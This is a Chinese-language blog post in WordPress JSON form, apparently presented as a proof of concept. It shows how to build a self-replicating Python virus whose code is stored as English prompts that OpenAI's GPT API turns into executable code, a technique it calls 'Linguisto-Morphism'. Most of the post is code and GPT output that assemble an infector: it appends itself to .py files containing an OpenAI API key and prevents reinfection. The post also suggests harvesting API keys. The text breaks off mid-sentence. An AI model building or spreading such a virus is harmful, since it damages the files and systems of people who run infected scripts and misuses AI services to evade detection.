{"id":1499,"date":"2023-03-03T13:04:26","date_gmt":"2023-03-03T05:04:26","guid":{"rendered":"https:\/\/www.aqwu.net\/wp\/?p=1499"},"modified":"2023-03-03T13:33:23","modified_gmt":"2023-03-03T05:33:23","slug":"%e4%bd%bf%e7%94%a8gpt%e5%ae%8c%e5%85%a8%e7%94%a8%e8%87%aa%e7%84%b6%e8%af%ad%e8%a8%80%e5%af%b9%e8%ae%a1%e7%ae%97%e6%9c%ba%e7%97%85%e6%af%92%e8%bf%9b%e8%a1%8c%e7%bc%96%e7%a0%81%e5%92%8c%e5%8f%98","status":"publish","type":"post","link":"https:\/\/www.aqwu.net\/wp\/?p=1499","title":{"rendered":"\u4f7f\u7528GPT\u5b8c\u5168\u7528\u81ea\u7136\u8bed\u8a00\u5bf9\u8ba1\u7b97\u673a\u75c5\u6bd2\u8fdb\u884c\u7f16\u7801\u548c\u53d8\u5f02"},"content":{"rendered":"\n<p>\u8ba1\u7b97\u673a\u75c5\u6bd2\u7684\u601d\u60f3\u548c\u884c\u4e3a\u901a\u5e38\u5b58\u50a8\u4e3a\u4ee5\u8ba1\u7b97\u673a\u8bed\u8a00\u7f16\u5199\u7684\u53ef\u6267\u884c\u4ee3\u7801\u3002<\/p>\n\n\n\n<p>\u5728\u8fd9\u91cc\uff0c\u6211\u4eec\u8d85\u8d8a\u5e76\u5c55\u793a\u5982\u4f55\u5b8c\u5168\u7528\u81ea\u7136\u8bed\u8a00\u5bf9\u81ea\u6211\u590d\u5236\u4ee3\u7801\u8fdb\u884c\u7f16\u7801\u3002\u6211\u4eec\u7684\u75c5\u6bd2\u4e0d\u662f\u5177\u4f53\u7684\u4ee3\u7801\u6307\u4ee4\uff0c\u800c\u662f\u5305\u542b\u4e00\u7cfb\u5217\u7528\u82f1\u8bed\u7f16\u5199\u7684\u5b9a\u4e49\u660e\u786e\u7684\u53e5\u5b50\u3002\u7136\u540e\u6211\u4eec\u4f7f\u7528 OpenAI \u7684 GPT\uff0c\u8fd9\u662f\u516c\u5f00\u53ef\u7528\u7684\u6700\u5f3a\u5927\u7684\u4eba\u5de5\u667a\u80fd\u7cfb\u7edf\u4e4b\u4e00\u3002 GPT \u53ef\u4ee5\u521b\u5efa\u5177\u6709\u76f8\u540c\u884c\u4e3a\u7684\u4e0d\u540c\u4ee3\u7801\uff0c\u8fd9\u662f\u4e00\u79cd\u65b0\u7684\u53d8\u8d28\u5f62\u5f0f\u3002<\/p>\n\n\n\n<p>\u6700\u540e\uff0c\u6211\u4eec\u4f7f\u7528 GPT \u6765\u5229\u7528\u81ea\u7136\u8bed\u8a00\u7684\u6b67\u4e49\u6027\u3002 GPT \u91cd\u65b0\u5236\u5b9a\u4e86\u5b9a\u4e49\u75c5\u6bd2\u4ee3\u7801\u672c\u8eab\u7684\u82f1\u6587\u63d0\u793a\u3002\u65b0\u7684\u63d0\u793a\u5e26\u6709\u76f8\u540c\u7684\u60f3\u6cd5\uff0c\u4f46\u4ee5\u4e0d\u540c\u7684\u65b9\u5f0f\u5236\u5b9a\u3002\u6211\u4eec\u79f0\u8fd9\u79cd\u65b0\u578b\u7a81\u53d8\u4e3a\u201cLinguisto-Morphism\u201d\u3002<\/p>\n\n\n\n<p>\u4e24\u4e2a\u793a\u4f8b\u75c5\u6bd2 LLMorphism I \u548c II \u662f\u5229\u7528\u81ea\u7136\u8bed\u8a00\u548c\u8ba1\u7b97\u673a\u8bed\u8a00\u4e4b\u95f4\u6b63\u5728\u6d88\u5931\u7684\u8fb9\u754c\u7684\u65b0\u7269\u79cd\u7684\u7b2c\u4e00\u4e2a\u793a\u4f8b\u3002<\/p>\n\n\n\n<p>1\uff09\u4ecb\u7ecd<\/p>\n\n\n\n<p>2) \u7528\u8bed\u8a00\u7f16\u7801\u81ea\u6211\u590d\u5236\u4ee3\u7801<\/p>\n\n\n\n<p>2.1) OpenAI GPT API<\/p>\n\n\n\n<p>2.2) \u8bed\u8a00\u4e2d\u7684\u75c5\u6bd2<\/p>\n\n\n\n<p>3) \u8bed\u8a00\u53d8\u5f02\uff1aLinguisto-Morphic \u8ba1\u7b97\u673a\u75c5\u6bd2<\/p>\n\n\n\n<p>4\uff09\u63a5\u4e0b\u6765\u4f1a\u53d1\u751f\u4ec0\u4e48\uff1f<\/p>\n\n\n\n<p><strong>1\uff09\u4ecb\u7ecd <\/strong><\/p>\n\n\n\n<p>\u968f\u7740\u6781\u5176\u5f3a\u5927\u7684\u4eba\u5de5\u667a\u80fd\u7cfb\u7edf\uff08\u7279\u522b\u662f GPT \u7b49\u5927\u578b\u8bed\u8a00\u6a21\u578b\uff09\u7684\u51fa\u73b0\u548c\u516c\u5f00\u4f7f\u7528\uff0c\u81ea\u7136\u8bed\u8a00\u548c\u8ba1\u7b97\u673a\u8bed\u8a00\u4e4b\u95f4\u7684\u754c\u9650\u6d88\u5931\u4e86\u3002\u8fd9\u4e9b\u7cfb\u7edf\u53ef\u4ee5\u91c7\u7528\u82f1\u8bed\u6216\u5fb7\u8bed\u7b49\u81ea\u7136\u8bed\u8a00\uff0c\u5e76\u4f7f\u7528\u6307\u4ee4\u4ee5 Python\u3001C++ \u6216 JavaScript \u7b49\u8bed\u8a00\u521b\u5efa\u8ba1\u7b97\u673a\u4ee3\u7801\u3002\u540c\u6837\uff0c\u4ed6\u4eec\u53ef\u4ee5\u7528\u81ea\u7136\u8bed\u8a00\u8fdb\u884c\u89e3\u91ca\u3002<\/p>\n\n\n\n<p>\u5728\u8fd9\u7bc7\u6587\u7ae0\u4e2d\uff0c\u6211\u5c55\u793a\u4e86\u8fd9\u9879\u6280\u672f\u73b0\u5728\u5982\u4f55\u5f3a\u5927\u5230\u8db3\u4ee5\u5bf9\u8ba1\u7b97\u673a\u75c5\u6bd2\u8fdb\u884c\u5b8c\u5168\u7f16\u7801\u3002\u81ea\u6211\u590d\u5236\u4ee3\u7801\u4e0d\u662f\u7f16\u7801\u4e3a\u8ba1\u7b97\u673a\u8bed\u8a00\u7684\u4e00\u7ec4\u6307\u4ee4\uff0c\u800c\u662f\u7f16\u7801\u4e3a\u82f1\u8bed\u6307\u4ee4\u3002\u7136\u540e\u6211\u4eec\u4f7f\u7528 GPT \u5c06\u81ea\u7136\u8bed\u8a00\u63cf\u8ff0\u7ffb\u8bd1\u6210\u53ef\u6267\u884c\u4ee3\u7801\u3002<\/p>\n\n\n\n<p>\u7531\u4e8e\u81ea\u7136\u8bed\u8a00\u662f\u6a21\u68f1\u4e24\u53ef\u7684\uff0c\u56e0\u6b64 GPT \u751f\u6210\u7684\u8ba1\u7b97\u673a\u4ee3\u7801\u5728\u6267\u884c\u8fc7\u7a0b\u4e2d\u53ef\u80fd\u4f1a\u6709\u6240\u4e0d\u540c\u3002\u8fd9\u6837\uff0c\u4f7f\u7528 GPT \u53ef\u80fd\u662f\u751f\u6210\u5f3a\u5927\u7684\u53d8\u5f62\u8ba1\u7b97\u673a\u75c5\u6bd2\u7684\u6700\u7b80\u5355\u65b9\u6cd5\u3002\u6b64\u5916\uff0cGPT \u4e0d\u4ec5\u53ef\u4ee5\u751f\u6210\u4e0d\u540c\u7684\u4ee3\u7801\uff0c\u8fd8\u53ef\u4ee5\u91cd\u65b0\u8868\u8ff0\u82f1\u8bed\u3002\u5728\u6211\u4eec\u7684\u4f8b\u5b50\u4e2d\uff0c\u5b83\u91cd\u65b0\u5236\u5b9a\u4e86\u5b9a\u4e49\u75c5\u6bd2\u4ee3\u7801\u7684\u63d0\u793a\u3002\u901a\u8fc7\u8fd9\u79cd\u65b9\u5f0f\uff0c\u5b83\u8d85\u8d8a\u4e86\u53d8\u5f62\u4ee3\u7801\uff08\u6539\u53d8\u4ee3\u7801\u7ed3\u6784\u7684\u8ba1\u7b97\u673a\u4ee3\u7801\uff09\u7684\u6982\u5ff5\uff0c\u800c\u662f\u8d70\u5411\u4e86\u4e00\u79cd\u5728\u8bed\u8a00\u5c42\u9762\u8d77\u4f5c\u7528\u7684\u65b0\u578b\u53d8\u5f02\uff0c\u56e0\u6b64\u6211\u4eec\u79f0\u4e4b\u4e3a\u201c\u8bed\u8a00\u5f62\u6001\u201d\u75c5\u6bd2\u3002<\/p>\n\n\n\n<p>\u6211\u4eec\u7684\u4ee3\u7801\u662f\u672a\u6765\u53ef\u80fd\u51fa\u73b0\u7684\u4e00\u7c7b\u8ba1\u7b97\u673a\u75c5\u6bd2\u7684\u7b2c\u4e00\u4e2a\u65e9\u671f\u4f8b\u5b50\uff0c\u5b83\u5229\u7528\u4e86\u4eba\u7c7b\u5df2\u77e5\u7684\u6700\u5f3a\u5927\u7684\u4eba\u5de5\u667a\u80fd\u7cfb\u7edf\u7684\u529b\u91cf\u3002\u8fd9\u4e9b\u7cfb\u7edf\u4ec5\u5728\u8fc7\u53bb\u51e0\u4e2a\u6708\u624d\u5f00\u59cb\u4f7f\u7528\uff0c\u663e\u7136\u6b63\u5728\u5f7b\u5e95\u6539\u53d8\u793e\u4f1a\u3002\u663e\u7136\uff0c\u6211\u5728\u8fd9\u91cc\u5c55\u793a\u7684\u53ea\u662f\u5bf9\u53ef\u80fd\u53d1\u751f\u7684\u4e8b\u60c5\u7684\u521d\u6b65\u4e86\u89e3\u3002<\/p>\n\n\n\n<p class=\"has-medium-font-size\"><strong>2) \u7528\u8bed\u8a00\u7f16\u7801\u81ea\u6211\u590d\u5236\u4ee3\u7801<\/strong><\/p>\n\n\n\n<p><strong>2.1) OpenAI GPT API<\/strong><\/p>\n\n\n\n<p>GPT\uff08\u751f\u6210\u5f0f\u9884\u8bad\u7ec3\u8f6c\u6362\u5668\uff09\u662f\u4e00\u4e2a\u5927\u578b\u8bed\u8a00\u6a21\u578b\uff08LLM\uff09\u7cfb\u5217\uff0c\u7531 OpenAI \u53d1\u5e03\uff0c\u4f7f\u7528\u6765\u81ea\u4e92\u8054\u7f51\u7684\u5927\u91cf\u6570\u636e\u8fdb\u884c\u8bad\u7ec3\u3002<\/p>\n\n\n\n<p>\u57fa\u672c\u4e0a\uff0c\u5728\u8bad\u7ec3\u671f\u95f4\uff0c\u5b83\u5df2\u7ecf\u770b\u5230\u4e86\u4eba\u7c7b\u6570\u5b57\u5316\u4fe1\u606f\u7684\u5f88\u5927\u4e00\u90e8\u5206\u3002\u8c37\u6b4c\u5927\u8111\u4e8e 2017 \u5e74\u53d1\u660e\u4e86\u5e95\u5c42\u6280\u672f\uff0c\u5373\u5177\u6709\u6ce8\u610f\u529b\u673a\u5236\u7684\u8f6c\u6362\u5668\u3002OpenAI \u6b64\u540e\u5f00\u53d1\u4e86\u4e0d\u65ad\u53d1\u5c55\u7684\u7cfb\u7edf\uff1a<\/p>\n\n\n\n<p>&#8211; GPT1\uff1a2018 \u5e74 6 \u6708<\/p>\n\n\n\n<p>&#8211; GPT2\uff1a2019 \u5e74 2 \u6708<\/p>\n\n\n\n<p>&#8211; GPT3\uff1a2020 \u5e74 5 \u6708<\/p>\n\n\n\n<p>&#8211; GPT3.5\uff1a2022 \u5e74 3 \u6708<\/p>\n\n\n\n<p>&#8211; ChatGPT\uff08\u9488\u5bf9\u5bf9\u8bdd\u8fdb\u884c\u4e86\u5fae\u8c03\u7684 GPT3.5\uff09\uff1a2022 \u5e74 11 \u6708<\/p>\n\n\n\n<p>\u8fd9\u4e9b\u6a21\u578b\u53ef\u901a\u8fc7 openai python \u5e93\u83b7\u5f97\u3002\u4e0b\u9762\u662f\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50\uff0c\u5176\u4e2d\u6211\u4eec\u4f7f\u7528\u4e86\u201ctext-davinci-003\u201d\u5f15\u64ce\uff0c\u8fd9\u662f\u76ee\u524d\u6700\u5f3a\u5927\u7684\u901a\u7528\u6587\u672c\u8865\u5168\u6a21\u578bGPT3.5\u3002<\/p>\n\n\n\n<p>\u66f4\u591a\u4fe1\u606f\u5728\u8fd9\u91cc\uff1ahttps:\/\/platform.openai.com\/docs\/models\/gpt-3-5<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>import openai\nopenai.api_key = \"...\"\ndef return_text(prompt, openai_key=openai.api_key):\n    response = openai.Completion.create(\n        engine=\"text-davinci-003\",\n        max_tokens=1000,\n        temperature=0.5,\n        prompt=prompt,\n        api_key=openai_key\n    )\n    return response&#91;'choices']&#91;0]&#91;'text']\n    \nprint(return_text(\"What is a beautiful fact about space discovered by the Hubble space telescope?\"))\n<\/code><\/pre>\n\n\n\n<p>\u56de\u590d\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>One of the most beautiful facts discovered by the Hubble Space Telescope is that there are roughly 125 billion galaxies in the observable universe. \nThis means that for every grain of sand on Earth, there are at least 1,000 galaxies in the universe.\n\u54c8\u52c3\u592a\u7a7a\u671b\u8fdc\u955c\u53d1\u73b0\u7684\u6700\u7f8e\u4e3d\u7684\u4e8b\u5b9e\u4e4b\u4e00\u662f\uff0c\u5728\u53ef\u89c2\u6d4b\u5b87\u5b99\u4e2d\u5927\u7ea6\u6709 1250 \u4ebf\u4e2a\u661f\u7cfb\u3002\u8fd9\u610f\u5473\u7740\u5bf9\u4e8e\u5730\u7403\u4e0a\u7684\u6bcf\u4e00\u7c92\u6c99\u5b50\uff0c\u5b87\u5b99\u4e2d\u81f3\u5c11\u6709 1000 \u4e2a\u661f\u7cfb\u3002\n<\/code><\/pre>\n\n\n\n<p>\u5f88\u9177\uff0c\u8fd9\u5f88\u4ee4\u4eba\u5370\u8c61\u6df1\u523b\u3002 &#8212; \u4f46 GPT \u4e5f\u53ef\u4ee5\u7f16\u7801\uff0c\u4f8b\u5982\uff0c\u5b83\u7cbe\u901a Python\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>return_text(\"Write a python code which prints the first 10 even numbers.\")\n<\/code><\/pre>\n\n\n\n<p>\u56de\u590d\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>for num in range(2,21,2):\n    print(num)\n<\/code><\/pre>\n\n\n\n<p>\u7cbe\u5f69\u7684\u3002\u73b0\u5728\u8ba9\u6211\u4eec\u60f3\u60f3\uff1a\u8ba1\u7b97\u673a\u75c5\u6bd2\u662f\u4e00\u6bb5\u4ee3\u7801\u3002 GPT \u53ef\u4ee5\u81ea\u52a8\u5c06\u8bed\u8a00\u7ffb\u8bd1\u6210\u4ee3\u7801\u3002\u6211\u4eec\u53ef\u4ee5\u81ea\u52a8\u67e5\u8be2GPT\u3002\u56e0\u6b64\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528 GPT \u7528\u81ea\u7136\u8bed\u8a00\u5bf9\u8ba1\u7b97\u673a\u75c5\u6bd2\u8fdb\u884c\u7f16\u7801\u3002\u8fd9\u5c31\u662f\u6211\u4eec\u63a5\u4e0b\u6765\u8981\u505a\u7684\u3002<\/p>\n\n\n\n<p><strong>2.2) \u8bed\u8a00\u4e2d\u7684\u75c5\u6bd2<\/strong><\/p>\n\n\n\n<p>Python \u4e2d\u6700\u7b80\u5355\u7684\u8ba1\u7b97\u673a\u75c5\u6bd2\u53ef\u80fd\u5982\u4e0b\u6240\u793a\uff1a\u5b83\u5c06\u81ea\u5df1\u7684\u4ee3\u7801\u9644\u52a0\u5230\u5f53\u524d\u76ee\u5f55\u4e2d\u7684\u6bcf\u4e2a .py \u6587\u4ef6\u3002\u663e\u7136\uff0c\u8fd9\u4e2a\u63cf\u8ff0\u53ef\u4ee5\u6269\u5c55\uff0c\u6bd4\u5982\u641c\u7d22\u786c\u76d8\u4e0a\u6240\u6709\u7684python\u6587\u4ef6\uff0c\u901a\u8fc7email\u6216\u8005slack\u53d1\u9001\u81ea\u5df1\u7684\u4ee3\u7801\u7b49\u7b49\u3002 &#8211; \u4f46\u5bf9\u4e8e\u8fd9\u4e2a\u539f\u7406\u9a8c\u8bc1\u5c55\u793a\uff0c\u6211\u4eec\u7684\u63cf\u8ff0\u5c31\u8db3\u591f\u4e86\u3002 \u5c06\u81ea\u5df1\u7684\u4ee3\u7801\u5199\u5165\u6bcf\u4e2a .py \u6587\u4ef6\u7684\u672b\u5c3e\u5f88\u7b80\u5355<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>import os\n\nfor file in os.listdir():\n    if file.endswith(\".py\"):\n        with open(filename, 'a') as f:\n            f.write('\\n' + own_code)\n<\/code><\/pre>\n\n\n\n<p>\u95ee\u9898\u662f\uff0c\u6211\u4eec\u5982\u4f55\u83b7\u5f97\u201cown_code\u201d\u3002\u6211\u4eec\u53ef\u4ee5\u6253\u5f00\u5f53\u524d\u6587\u4ef6\uff08\u201cos.path.basename(__file__)\u201d\uff09\uff0c\u5e76\u63d0\u53d6\u6211\u4eec\u7684\u4ee3\u7801\uff0c\u6216\u8005\u6211\u4eec\u53ef\u4ee5\u5c06\u6211\u4eec\u7684\u4ee3\u7801\u5b58\u50a8\u5728\u4e00\u4e2a\u53d8\u91cf\u4e2d\uff0c\u7136\u540e\u6267\u884c\u3002\u8fd9\u79cd\u60c5\u51b5\u4e0b\u7684\u597d\u5904\u662f\uff1a\u5f53\u6211\u4eec\u5728\u53d8\u91cf\u4e2d\u6267\u884c python \u4ee3\u7801\u65f6\uff0c\u6211\u4eec\u53ef\u4ee5\u8bbf\u95ee\u53d8\u91cf\u672c\u8eab\uff0c\u5373\u6211\u4eec\u7684\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>own_code=\"some_var='666'\\nprint('own_code: '+own_code+some_var)\"\nexec(own_code)\n<\/code><\/pre>\n\n\n\n<p>\u8f93\u51fa\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>own_code=\"some_var=666\\nprint('I am inside of the variable own_code, and the variable content is: '+own_code)\" exec(own_code)\n<\/code><\/pre>\n\n\n\n<p>\u5728\u4e0b\u4e00\u6b65\u4e2d\uff0c\u8ba9\u6211\u4eec\u5c1d\u8bd5\u5b58\u50a8\u4e00\u4e9b\u6211\u4eec\u4f20\u9012\u7ed9 GPT \u7684\u5b57\u7b26\u4e32\uff0c\u8fd9\u4e9b\u5b57\u7b26\u4e32\u5e94\u8be5\u4f1a\u8fd4\u56de\u4e00\u90e8\u5206\u75c5\u6bd2\u4ee3\u7801\u3002\u4f8b\u5982\uff0c\u8ba9\u6211\u4eec\u8bf7\u6c42\u4e00\u4e2a\u8fd4\u56de\u5f53\u524d\u76ee\u5f55\u4e2d\u6240\u6709 .py \u6587\u4ef6\u7684\u51fd\u6570\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>import openai\nopenai.api_key = \"...\"\n\ndef <strong>return_text<\/strong>(prompt, openai_key=openai.api_key):\n    response = openai.Completion.create(\n        engine=\"text-davinci-003\",\n        max_tokens=1000,\n        temperature=0.5,\n        prompt=prompt,\n        api_key=openai_key\n    )\n    return response&#91;'choices']&#91;0]&#91;'text']\n    \npython_in_english=\"Write a python function get_files which returns a list file_list with all .py files in the current directory. If you need to import some packages, do it.\"\nprint(return_text(python_in_english))\n<\/code><\/pre>\n\n\n\n<p>\u56de\u590d\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import os\n\ndef get_files():\n    file_list = &#91;]\n    for root, dirs, files in os.walk('.'):\n        for file in files:\n            if file.endswith('.py'):\n                file_list.append(file)\n    return file_list\n<\/code><\/pre>\n\n\n\n<p>\u5b8c\u7f8e\u7684\uff01<\/p>\n\n\n\n<p>\u6211\u4eec\u53ef\u4ee5\u66f4\u8fdb\u4e00\u6b65\uff0c\u4e3a\u6211\u4eec\u9700\u8981\u7684\u6bcf\u4e2a\u529f\u80fd\u6267\u884c\u6b64\u64cd\u4f5c\u3002\u6211\u4eec\u5df2\u7ecf\u6709\u4e86 get_files \u51fd\u6570\u3002\u6b64\u5916\uff0c\u6211\u4eec\u9700\u8981\u4e00\u4e2a write_to_file \u51fd\u6570\uff0c\u5b83\u5c06\u201cown_code\u201d\u5199\u5165\u6587\u4ef6\u3002\u6211\u4eec\u8fd8\u9700\u8981\u8003\u8651\u4e24\u4e2a\u7ec6\u8282\uff1a<\/p>\n\n\n\n<p>A) \u8981\u8fd0\u884c openai API\uff0c\u6211\u4eec\u9700\u8981\u4e00\u4e2a API \u5bc6\u94a5\u3002\u6211\u4eec\u53ef\u4ee5\u5728\u4ee3\u7801\u4e2d\u643a\u5e26\u5b83\uff08\u8fd9\u662f\u6700\u5bb9\u6613\u88ab\u963b\u6b62\u7684\u76ee\u6807\uff09\uff0c\u6216\u8005\u6211\u4eec\u53ea\u80fd\u611f\u67d3\u5df2\u7ecf\u62e5\u6709 API \u5bc6\u94a5\u7684\u6587\u4ef6\u3002\u8fd9\u91cc\u6211\u9009\u62e9\u4e86\u7b2c\u4e8c\u79cd\u65b9\u6848\u3002\u6216\u8005\u66f4\u5947\u7279\u7684\u662f\uff0c\u6211\u4eec\u53ef\u4ee5\u5728\u6211\u4eec\u7a7f\u8d8a\u7f51\u7edc\u7a7a\u95f4\u65f6\u6536\u96c6 API \u5bc6\u94a5\uff0c\u5e76\u5c06\u5b83\u4eec\u5b58\u50a8\u5728\u75c5\u6bd2\u4ee3\u7801\u4e2d\u3002<\/p>\n\n\n\n<p>B) \u6211\u4eec\u4e0d\u60f3\u611f\u67d3\u540c\u4e00\u4e2a\u6587\u4ef6\u4e24\u6b21\u3002<\/p>\n\n\n\n<p>\u89e3\u51b3\u8fd9\u4e24\u4e2a\u6311\u6218\u7684\u4e00\u79cd\u65b9\u6cd5\u662f\u4ec5\u5728\u6587\u4ef6\u4ec5\u5305\u542b\u4e00\u6b21\u5b57\u7b26\u4e32\u201copenai.api_key\u201d\u65f6\u624d\u611f\u67d3\u6587\u4ef6\u3002\u5982\u679c\u4ed6\u4eec\u5305\u542b\u4e00\u6b21\uff0c\u6211\u4eec\u53ef\u4ee5\u5047\u8bbe\u4ed6\u4eec\u5b9a\u4e49\u4e86\u4e00\u4e2a\u6709\u6548\u7684\u5bc6\u94a5\u3002\u8fd9\u662f\u8bb8\u591a openai \u6587\u6863\u793a\u4f8b\u811a\u672c\u7684\u6837\u5b50\u3002\u5982\u679c\u6211\u4eec\u611f\u67d3\u4e00\u4e2a\u6587\u4ef6\uff0c\u6211\u4eec\u4e5f\u81f3\u5c11\u643a\u5e26\u8be5\u5b57\u7b26\u4e32\u4e00\u6b21\uff0c\u56e0\u6b64\u6240\u6709\u88ab\u611f\u67d3\u7684\u6587\u4ef6\u90fd\u4e0d\u6b62\u4e00\u6b21\u643a\u5e26\u8be5\u5b57\u7b26\u4e32\u3002<\/p>\n\n\n\n<p>\u5b8c\u7f8e\u7684\u3002<\/p>\n\n\n\n<p>\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\uff0cGPT \u4f1a\u751f\u6210\u6b63\u786e\u7684\u4ee3\u7801\uff0c\u4f46\u4f1a\u5b9a\u4e49\u4ee3\u7801\u7684\u53d8\u91cf\u6765\u6f14\u793a\u793a\u4f8b\u3002\u51fa\u4e8e\u8fd9\u4e2a\u539f\u56e0\uff0c\u6211\u4eec\u5fc5\u987b\u4f7f\u7528\u63d0\u793a\u5de5\u7a0b\u5e76\u5f3a\u5236 GPT \u4e0d\u5199\u4efb\u4f55\u5176\u4ed6\u5185\u5bb9\uff0c\u5c24\u5176\u662f\u4e0d\u8986\u76d6\u53d8\u91cf\u3002<\/p>\n\n\n\n<p>\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u7684\u4ee3\u7801\u5982\u4e0b\u6240\u793a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>import openai\nopenai.api_key = \"...\"\n\nprompts_list=&#91;]\nprompts_list.append(\"Write a python function get_files which returns a list file_list with all .py files in the current directory. If you need to import some packages, do it.\")\nprompts_list.append(\"Write a python function get_content which takes an input argument (string of a text file), reads the text file and returns its full file content. Do not write anything else except of the python code!\")\nprompts_list.append(\"Write a python function is_key, which takes a string as an input and return True,  if it contains the substring 'openai.api_key' (which has 14 characters) exactly once, otherwise False. Be careful, do not compare the entire string, but find how often the substring is contained! Very important: Do not write anything else except of the python code, do not write print statements and do not define variables outside of the function. Just write the function!\")\nprompts_list.append(\"Write a python function write_to_file which takes a filename and a string as an input, and append one line break (do not forget!) and the input string to the file. Output only the python code, nothing else!\")\nprompts_list.append(\"Write a loop over all elements returned by the function get_files (which has no arguments). For each element (lets call it curr_element), test whether the function is_key with the argument returned from get_content of the current element is True. If it is True, call the function write_to_file with curr_element as the first argument, and the variable own_code as the second argument. (own_code is a variable which is defined above)\")\n\ndef return_text(prompt, openai_key=openai.api_key):\n    response = openai.Completion.create(\n        engine=\"text-davinci-003\",\n        max_tokens=1000,\n        temperature=0.5,\n        prompt=prompt,\n        api_key=openai_key\n    )\n    return response&#91;'choices']&#91;0]&#91;'text']\n\n\ndef comp_str_fct(list_str):\n    combined_str = \"\"\n    for str in list_str:\n        combined_str += return_text(str) + \"\\n\"\n    return combined_str\n\nprint(comp_str_fct(prompts_list))\n<\/code><\/pre>\n\n\n\n<p>\u56de\u590d\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>import os\n\ndef get_files():\n    file_list = &#91;]\n    for file in os.listdir():\n        if file.endswith(\".py\"):\n            file_list.append(file)\n    return file_list\n\nfile_list = get_files()\nprint(file_list)\n\n\ndef get_content(text_file):\n    with open(text_file) as file:\n        return file.read()\n\n\ndef is_key(string):\n  return string.count('openai.api_key') == 1\n\n\ndef write_to_file(filename, string):\n    with open(filename, 'a') as f:\n        f.write(string + '\\n')\n\n\nfor curr_element in get_files():\n    if is_key(get_content(curr_element)):\n        write_to_file(curr_element, own_code)\n<\/code><\/pre>\n\n\n\n<p>\u54c7\uff0c\u8fd9\u5f88\u5bb9\u6613\u3002\u73b0\u5728\u552f\u4e00\u7f3a\u5c11\u7684\u662f\u751f\u6210\u53d8\u91cf\u201cown_code\u201d\u3002\u6211\u4eec\u9700\u8981\u4ec0\u4e48\uff1f<\/p>\n\n\n\n<p>(A) \u751f\u6210\u75c5\u6bd2\u4ee3\u7801\u7684\u63d0\u793a\uff08\u89c1\u4e0a\uff09<\/p>\n\n\n\n<p>(B) \u5c06\u63d0\u793a\u8f6c\u6362\u4e3a python \u4ee3\u7801\u7684 python \u4ee3\u7801\uff08\u5305\u62ec<\/p>\n\n\n\n<p>OpenAI API \u8c03\u7528\uff09\u5e76\u6267\u884c\u5b83\u3002<\/p>\n\n\n\n<p>(C) \u751f\u6210\u7ffb\u8bd1\u63d0\u793a\u7684 python \u4ee3\u7801\u7684\u63d0\u793a<\/p>\n\n\n\n<p>\u5230 python \u4ee3\u7801\uff08\u5305\u62ec OpenAI API \u8c03\u7528\uff09\u5e76\u6267\u884c\u5b83\u3002<\/p>\n\n\n\n<p>A\u548cB\u6211\u4eec\u57fa\u672c\u4e0a\u5df2\u7ecf\u6709\u4e86\uff0c\u6700\u540e\u4e00\u5757\u770b\u8d77\u6765\u5f88\u6df7\u4e71\uff0c\u4f46\u548c\u5176\u4ed6\u7684\u4e00\u6837\u7b80\u5355\u3002<\/p>\n\n\n\n<p>\u4f8b\u5982\uff0c\u6211\u4eec\u9700\u8981\u751f\u6210\u8c03\u7528 OpenAI API \u7684 python \u51fd\u6570\u7684\u51fd\u6570\u3002\u6ca1\u6709\u6bd4\u8fd9\u66f4\u5bb9\u6613\u7684\u4e86\uff1a<\/p>\n\n\n\n<p class=\"has-small-font-size\">python_code=return_text(&#8220;Write a python function return_text which takes two inputs: a prompt string, and the openai key (with a default value of the value openai.api_key). The function returns returns the output of an openai text completion (ONLY USE 3 parameters!). As parameters for the openai text completion use only four parameter (!!): engine which is &#8216;text-davinci-003&#8217;, max_tokens is 1000, temperature is 0.5, and the parameter prompt. Do not use any other parameters, only these four! The parameters are not strings!&#8221;)<br>print(python_code)<\/p>\n\n\n\n<p>\u56de\u590d\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code has-small-font-size\"><code>def return_text(prompt, openai_key = openai.api_key):\n    return openai.Completion.create(engine = 'davinci-003', \n                                    max_tokens = 1000, \n                                    temperature = 0.5, \n                                    prompt = prompt, \n                                    api_key = openai_key)\n<\/code><\/pre>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230return_text\u7684\u4ee3\u7801\u548c\u6211\u4e0a\u9762\u5199\u7684\u4e0d\u4e00\u6837\u3002\u8fd9\u662f\u7531\u4e8e GPT \u7684\u56fa\u6709\u53ef\u53d8\u6027\uff0c\u5176\u4e2d\u7531\u6e29\u5ea6\u5b9a\u4e49\u3002\u4ee3\u7801\u7ea7\u522b\u7684\u8f93\u51fa\u53ef\u80fd\u4e0d\u540c\uff0c\u4f46\u884c\u4e3a\u7ea7\u522b\u7684\u8f93\u51fa\u662f\u76f8\u540c\u7684\uff08\u81f3\u5c11\u5728\u5927\u591a\u6570\u60c5\u51b5\u4e0b\uff0c\u5f53\u4e00\u5207\u6b63\u5e38\u65f6\uff09\u3002<\/p>\n\n\n\n<p>\u73b0\u5728\u7684\u8ba1\u5212\u662f\u5236\u4f5c\u53e6\u4e00\u4e2a\u63d0\u793a\u5217\u8868\uff08\u6211\u4eec\u79f0\u5b83\u4eec\u4e3a\u6587\u4ef6\u5217\u8868\uff09\uff0c\u5176\u4e2d\u5305\u542b\u63cf\u8ff0 (B) \u7684\u4ee3\u7801 [\u56e0\u6b64\uff0c\u662f\u4e0a\u9762\u4ee3\u7801\u7684 (C) 